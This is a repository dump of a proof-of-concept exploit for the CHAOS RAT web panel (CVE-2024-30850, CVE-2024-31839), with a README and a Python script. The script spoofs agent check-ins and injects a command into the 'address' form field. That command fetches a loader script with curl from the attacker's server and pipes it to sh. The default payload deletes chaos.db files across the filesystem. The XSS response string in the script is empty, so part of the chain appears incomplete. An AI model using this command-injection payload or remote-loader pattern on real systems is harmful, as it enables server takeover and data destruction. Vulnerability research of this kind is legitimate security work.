├── rickroll.mp4
├── README.md
└── exploit.py
/rickroll.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/HEAD/rickroll.mp4
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192
2 | # CHAOS RAT v5.01 web panel RCE (CVE-2024-30850, CVE-2024-31839)
3 | https://github.com/tiagorlampert/CHAOS
4 |
5 | This exploit works by spoofing an agent callback for an XSS (CVE-2024-31839), and leveraging the XSS to exploit a command injection vulnerability (CVE-2024-30850) in the admin web panel. This leads to compromise of the RAT server and rickrolling of RAT panel operators.
6 |
7 | Full explaination: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
8 |
9 | ```
10 | python3 exploit.py exploit -h
11 | usage: exploit.py exploit [-h] [-f FILE] [-t TARGET] [-c COMMAND] [-v VIDEO_NAME] [-j JWT] -l LOCAL_IP [-p LOCAL_PORT] [-H HOSTNAME] [-u USERNAME] [-o OS]
12 | [-m MAC] [-i IP]
13 |
14 | options:
15 | -h, --help show this help message and exit
16 | -f FILE, --file FILE The path to the CHAOS client
17 | -t TARGET, --target TARGET
18 | The url of the CHAOS server (127.0.0.1:8080)
19 | -c COMMAND, --command COMMAND
20 | The command to use
21 | -v VIDEO_NAME, --video-name VIDEO_NAME
22 | The video name to use
23 | -j JWT, --jwt JWT The JWT token to use
24 | -l LOCAL_IP, --local-ip LOCAL_IP
25 | The local IP to use for serving bash script and mp4
26 | -p LOCAL_PORT, --local-port LOCAL_PORT
27 | The local port to use for serving bash script and mp4
28 | -H HOSTNAME, --hostname HOSTNAME
29 | The hostname to use for the spoofed client
30 | -u USERNAME, --username USERNAME
31 | The username to use for the spoofed client
32 | -o OS, --os OS The OS to use for the spoofed client
33 | -m MAC, --mac MAC The MAC address to use for the spoofed client
34 | -i IP, --ip IP The IP address to use for the spoofed client
35 | ```
36 | 
37 |
38 |
39 |
--------------------------------------------------------------------------------
/exploit.py:
--------------------------------------------------------------------------------
1 | # Exploit Title: CHAOS RAT v5.0.1 RCE
2 | # Date: 2024-04-05
3 | # Exploit Author: @_chebuya
4 | # Software Link: https://github.com/tiagorlampert/CHAOS
5 | # Version: v5.0.1
6 | # Tested on: Ubuntu 20.04 LTS
7 | # CVE: CVE-2024-30850, CVE-2024-31839
8 | # Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server
9 | # Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc
10 | # Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
11 | import time
12 | import requests
13 | import threading
14 | import json
15 | import websocket
16 | import http.client
17 | import argparse
18 | import sys
19 | import re
20 |
21 | from functools import partial
22 | from http.server import BaseHTTPRequestHandler, HTTPServer
23 |
24 | class Collector(BaseHTTPRequestHandler):
25 | def __init__(self, ip, port, target, command, video_name, *args, **kwargs):
26 | self.ip = ip
27 | self.port = port
28 | self.target = target
29 | self.shell_command = command
30 | self.video_name = video_name
31 | super().__init__(*args, **kwargs)
32 |
33 | def do_GET(self):
34 | if self.path == "/loader.sh":
35 | self.send_response(200)
36 | self.end_headers()
37 | command = str.encode(self.shell_command)
38 | self.wfile.write(command)
39 | elif self.path == "/video.mp4":
40 | with open(self.video_name, 'rb') as f:
41 | self.send_response(200)
42 | self.send_header('Content-type', 'video/mp4')
43 | self.end_headers()
44 | self.wfile.write(f.read())
45 | else:
46 | cookie = self.path.split("=")[1]
47 | self.send_response(200)
48 | self.end_headers()
49 | self.wfile.write(b"")
50 |
51 | background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))
52 | background_thread.start()
53 |
54 | def convert_to_int_array(string):
55 | int_array = []
56 | for char in string:
57 | int_array.append(ord(char))
58 | return int_array
59 |
60 | def extract_client_info(path):
61 | with open(path, 'rb') as f:
62 | data = str(f.read())
63 |
64 | address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
65 | address_pattern = re.compile(address_regexp)
66 | address = address_pattern.findall(data)[0].split("=")[1]
67 |
68 | port_regexp = r"main\.Port=\d{1,6}"
69 | port_pattern = re.compile(port_regexp)
70 | port = port_pattern.findall(data)[0].split("=")[1]
71 |
72 | jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
73 | jwt_pattern = re.compile(jwt_regexp)
74 | jwt = jwt_pattern.findall(data)[0].split("=")[1]
75 |
76 | return f"{address}:{port}", jwt
77 |
78 | def keep_connection(target, cookie, hostname, username, os_name, mac, ip):
79 |
80 | print("Spoofing agent connection")
81 | headers = {
82 | "Cookie": f"jwt={cookie}"
83 | }
84 |
85 | while True:
86 | data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
87 | r = requests.get(f"http://{target}/health", headers=headers)
88 | r = requests.post(f"http://{target}/device", headers=headers, json=data)
89 | time.sleep(30)
90 |
91 | def handle_command(target, cookie, mac, ip, port):
92 | print("Waiting to serve malicious command outupt")
93 | headers = {
94 | "Cookie": f"jwt={cookie}",
95 | "X-Client": mac
96 | }
97 |
98 | ws = websocket.WebSocket()
99 | ws.connect(f'ws://{target}/client', header=headers)
100 | while True:
101 | response = ws.recv()
102 |
103 | command = json.loads(response)['command']
104 | data = {"client_id": mac, "response": convert_to_int_array(f""), "has_error": False}
105 |
106 | ws.send_binary(json.dumps(data))
107 |
108 |
109 | def run_exploit(cookie, target, ip, port):
110 | print(f"Exploiting {target} with JWT {cookie}")
111 | conn = http.client.HTTPConnection(target)
112 | headers = {
113 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
114 | 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
115 | 'Cookie': f'jwt={cookie}'
116 | }
117 | conn.request(
118 | 'POST',
119 | '/generate',
120 | f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',
121 | headers
122 | )
123 |
124 | def run(ip, port, target, command, video_name):
125 | server_address = (ip, int(port))
126 |
127 | collector = partial(Collector, ip, port, target, command, video_name)
128 | httpd = HTTPServer(server_address, collector)
129 | print(f'Server running on port {ip}:{port}')
130 | httpd.serve_forever()
131 |
132 | if __name__ == "__main__":
133 | parser = argparse.ArgumentParser()
134 | subparsers = parser.add_subparsers(dest="option")
135 |
136 | exploit = subparsers.add_parser("exploit")
137 | exploit.add_argument("-f", "--file", help="The path to the CHAOS client")
138 | exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)")
139 | exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;")
140 | exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4")
141 | exploit.add_argument("-j", "--jwt", help="The JWT token to use")
142 | exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True)
143 | exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000)
144 | exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01")
145 | exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator")
146 | exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows")
147 | exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56")
148 | exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12")
149 |
150 | extract = subparsers.add_parser("extract")
151 | extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True)
152 |
153 | args = parser.parse_args()
154 |
155 | if args.option == "exploit":
156 | if args.target != None and args.jwt != None:
157 | target = args.target
158 | jwt = args.jwt
159 | elif args.file != None:
160 | target, jwt = extract_client_info(args.file)
161 | else:
162 | exploit.print_help(sys.stderr)
163 | sys.exit(1)
164 |
165 | bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))
166 | bg.start()
167 |
168 | cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))
169 | cmd.start()
170 |
171 | server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))
172 | server.start()
173 |
174 | elif args.option == "extract":
175 | target, jwt = extract_client_info(args.file)
176 | print(f"CHAOS server: {target}\nJWT: {jwt}")
177 | else:
178 | parser.print_help(sys.stderr)
179 | sys.exit(1)
180 |
--------------------------------------------------------------------------------